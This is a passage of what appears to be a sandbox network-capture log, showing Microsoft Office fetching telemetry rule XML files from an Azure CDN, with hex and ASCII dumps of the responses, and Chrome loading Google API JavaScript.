encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:20 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:20 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:20 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033420Z-16849878b78hh85qc40uyr8sc800000007ug000000003wb3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:20 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:20 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:20 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:20 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 54a08b66-801e-008f-529b-272c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033420Z-16849878b78qf2gleqhwczd21s00000007rg0000000052fp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:20 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:20 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:20 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 892d3b27-201e-005d-7649-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033420Z-16849878b7867ttgfbpnfxt44s000000079g00000000gqa3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:21 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:20 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:21 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3201f11f-301e-006e-7658-27f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033421Z-17c5cb586f6f8m6jnehy0z65x400000006tg0000000069wk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:21 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:20 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:21 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033420Z-16849878b78zqkvcwgr6h55x9n00000006t000000000uq3y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:21 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:21 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:21 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 01fc617d-601e-000d-05a4-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033421Z-16849878b78zqkvcwgr6h55x9n00000006vg00000000k6x7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:21 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:21 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:21 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 214f201b-c01e-00ad-7c26-28a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033421Z-17c5cb586f6f8m6jnehy0z65x400000006rg000000009vgu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:21 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:21 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:21 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: a5807169-a01e-0032-6664-271949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033421Z-r197bdfb6b48v72xb403uy6hns000000087000000000399k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:21 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:21 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:21 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:21 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0ce3105a-501e-0029-7cd2-26d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033421Z-16849878b78j7llf5vkyvvcehs00000008p0000000000yms x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 03:34:21 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:21 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:21 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:21 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: a783173c-501e-008c-2349-27cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033421Z-16849878b78tg5n42kspfr0x4800000007e000000000kkvk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:21 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49764	216.58.206.78	443	6120	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:21 UTC	721	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 03:34:22 UTC	903	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: text/javascript; charset=UTF-8 Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 Date: Wed, 30 Oct 2024 03:34:22 GMT Expires: Thu, 30 Oct 2025 03:34:22 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-30 03:34:22 UTC	475	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
